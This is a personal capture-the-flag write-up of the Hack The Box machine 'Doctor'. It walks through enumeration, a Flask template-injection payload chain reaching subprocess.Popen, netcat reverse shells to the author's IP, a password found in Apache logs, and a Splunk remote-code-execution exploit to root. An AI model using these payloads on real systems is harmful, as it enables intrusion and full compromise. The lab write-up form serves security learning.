Shortly after I rooted Tabby, a new easy box was released. Doctor was quite an experience, being a lot harder than I expected. At first, I thought I could go for my first blood, but after 2 hours stuck with nothing, I was just happy to make a small breakthrough. What I appreciated about this box was that I got the chance to exploit a Python web application using a more "exotic" vulnerability - SSTI.
Doctor - Technical Details

OS: | ![]() |
Difficulty: | Easy |
Points: | 20 |
Release: | 26 Sep 2020 |
IP: | 10.10.10.209 |
Synopsis
Doctor is an easy-rated Linux machine featuring a website for medical services. Behind the first appearances, there is another web application hosted on a different virtual host - a medical messaging app. This application has an SSTI vulnerability in its message posting board with an out-of-band response. RCE is possible and a shell to the victim machine can be established. Privilege Escalation is achieved through enumeration, where the password for the user account can be found in some Apache logs. Lastly, escalating privileges using a Splunk exploit results in full system compromise.
Key techniques and exploits:
- Enumeration
- SSTI
- Sensitive Information Exposure
- Splunk Privilege Escalation
Enumeration
Starting with the classic enumeration using Nmap, I got three services running:
[email protected]:~$ nmap -sV -p- 10.10.10.209
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-02 15:56 EEST
Nmap scan report for doctors.htb (10.10.10.209)
Host is up (0.057s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 158.36 seconds
- SSH on port
22
. - Apache web server running on port
80
. - Splunk service running on port
8089
.
Taking a glimpse at the web server, I got a website for medical services.
One important hint that I missed here and left me stuck for a few hours was the domain name from the email address at the bottom of the picture. I should have added it to /etc/hosts
in order to discover another application hidden on a virtual host. But before diving into this, I also inspected the Splunk instance running on port 8089
. At first, it didn't work to access it via the web browser, because I wasn't using HTTPS. Without HTTPS, I got a Connection reset error. Fortunately, there were others on the internet who had the same issue and I quickly found the solution - a secure connection.
I spent some time looking for Splunk exploits, thinking this was the entry point (before discovering the virtual host I mentioned above), I tried default credentials, but nothing worked. Later, I finally found the new website, a doctor web messaging service.
The application required an account, but fortunately it also had a public registration form. Each account had a life-time of 20 minutes, but it was enough to look for vulnerabilities, and I could always create a new account in case it expired.
Initial Foothold - Server Side Template Injection
Going to the New Post
page, I tried different kind of injections, such as SQLi, code injection, etc. However, nothing seemed to work. I have also inspected the source code of the application, and I found something interesting in an HTML comment:
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
Navigating to /archive
, the browser displayed a blank page. I also tried it in Burp Suite, and here I saw more than that. There was an XML document with the title of my post.
Moreover, I found what kind of server does this application use. It was running on Werkzeug
engine, which meant that it was a Flask app written in Python. These two new findings combined (the XML document and server engine) got me thinking about the most common Python vulnerability in web apps - SSTI (Server Side Template Injection).
Going back to the New Post
page, I started trying out different payloads to test these findings. Unfortunately, it seemed like it was not vulnerable to this exploit, as the text inputted was just printed back the same. Not giving up so easy, I also looked again at the /archive
page. Bingo! It was an out-of-band SSTI vulnerability. The output was interpreted here and it was a very nice attack vector for future RCE.
Digging deeper, I tried to execute a simple command on the server, such as ls
, but I failed. I got back an error 500
page. I started researching more on this vulnerability and found an interesting article which helped me in identifying which libraries were available on the victim's instance.
Sending the following payload to the application, I was able to identify that the OS
library necessary to run system commands was missing, but subprocess.Popen
was there.
{{ ''.__class__.__mro__[1].__subclasses__() }}
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>,
<truncated>
<class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'uuid.UUID'>,
<truncated>
<class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>]
Next, I had to identify the position of this subclass in order to be able to call it. I wrote a simple Python script which returned its index - 407
:
list = "<class 'type'>, <class 'weakref'>, ..."
print(list.split(', ').index("<class 'subprocess.Popen'>"))
I went ahead and tested the RCE possibility and finally I was able to execute some commands.
{{''.__class__.__mro__[1].__subclasses__()[407]('whoami',shell=True,stdout=-1).communicate()}}
(b'web\n', None)
Confirming the vulnerability, I created another payload using a netcat
reverse shell. However, the simple version (nc 10.10.15.56 4444
) was not successful, as the victim system was using an older one. So I had to use the following payload:
{{''.__class__.__mro__[1].__subclasses__()[407]('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.56 4444 >/tmp/f',shell=True,stdout=-1).communicate()}}
It didn't fail this time and I had a shell on the remote system.
[email protected]:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.56] from (UNKNOWN) [10.10.10.209] 38144
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:~$
Privilege Escalation - Apache Logs
An useful hint for this privilege escalation came directly from the box logo itself - there was a log on the doctor's t-shirt. Digging through the logs of the Apache server, I found an interesting file called backup
. Inside, there were logs dating back before the box release date, so it was a strong lead. Among lots of useless logs, there was a line that got my attention:
[email protected]:/var/log/apache2$ cat backup
cat backup
10.10.14.4 - - [05/Sep/2020:11:09:48 +0200] "\x16\x03" 400 0 "-" "-"
10.10.14.4 - - [05/Sep/2020:11:09:48 +0200] "t3 12.1.2\n" 400 0 "-" "-"
10.10.14.4 - - [05/Sep/2020:11:09:48 +0200] "PROPFIND / HTTP/1.1" 405 521 "-" "Mozilla/5.0
<truncated>
10.10.14.4 - - [05/Sep/2020:11:17:09 +0200] "GET /register HTTP/1.1" 200 1695 "http://doctor.htb/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.10.14.4 - - [05/Sep/2020:11:17:24 +0200] "POST /register HTTP/1.1" 302 676 "http://doctor.htb/register" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
10.10.14.4 - - [05/Sep/2020:11:17:25 +0200] "GET /login HTTP/1.1" 200 1888 "http://doctor.htb/register" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.10.14.4 - - [05/Sep/2020:11:17:34 +0200] "POST /login HTTP/1.1" 302 732 "http://doctor.htb/login" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
<truncated>
The line with the POST request to /reset_password
seems odd. The parameter passed for the email address doesn't look like an actual email address. The user may have mistakenly wrote his password instead of the email in the form and it ended up in the logs as plaintext.
I tried this password with the user account found in /etc/passwd
and fortunately, I was able to switch to it.
[email protected]:/var/log/apache2$ su shaun
su shaun
Password: Guitar123
[email protected]:/var/log/apache2$ whoami
whoami
shaun
[email protected]:~$ cat user.txt
cat user.txt
343xxxxxxxxxxxxxxxxxxxxxxxxxxx90
Privilege Escalation - Splunk Whisperer
There is one more thing I didn't use so far - the Splunk service. I did a lot of research on the internet until I found something I could use - an exploit called Splunk Whisperer 2. However, I needed credentials for it to work, and I didn't have any. I got stuck again for some time, when I finally decided to try the current user - shaun
with password Guitar123
. It worked. So much time wasted. I got access to the protected area of the web panel, but most importantly, I had a set of credentials to use with the exploit I found.
Again, the reverse shell I used had to be persistent and use the traditional version of netcat
.
[email protected]:~/doctor/SplunkWhisperer2/PySplunkWhisperer2$ python PySplunkWhisperer2_remote.py --lhost 10.10.15.56 --host 10.10.10.209 --username shaun --password Guitar123 --payload 'nc.traditional -e /bin/sh 10.10.15.56 4446'
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpxC0dwS.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.15.56:8181/
10.10.10.209 - - [01/Oct/2020 02:11:42] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup
Preparing the listener as well:
[email protected]:~$ nc -lnvp 4446
listening on [any] 4446 ...
connect to [10.10.15.56] from (UNKNOWN) [10.10.10.209] 45496
python3 -c 'import pty; pty.spawn("/bin/bash")'
[email protected]:/# whoami
whoami
root
[email protected]:/# cd /root
cd /root
[email protected]:/root# cat root.txt
cat root.txt
5a080faf219da8cb2c65a20353abfd39
[email protected]:/root#
The system was fully compromised. I had a root shell to the victim's machine.
Because I got stuck for a little while with this exploit, after I got the first shell running, I tried some other alternatives as well. This is what I found to be working:
[email protected]:~/doctor/SplunkWhisperer2/PySplunkWhisperer2$ python PySplunkWhisperer2_remote.py --lhost 10.10.15.56 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/sh | nc 10.10.15.56 4446'
[email protected]:~/doctor/SplunkWhisperer2/PySplunkWhisperer2$ python PySplunkWhisperer2_remote.py --lhost 10.10.15.56 --host 10.10.10.209 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.56 4446 >/tmp/f'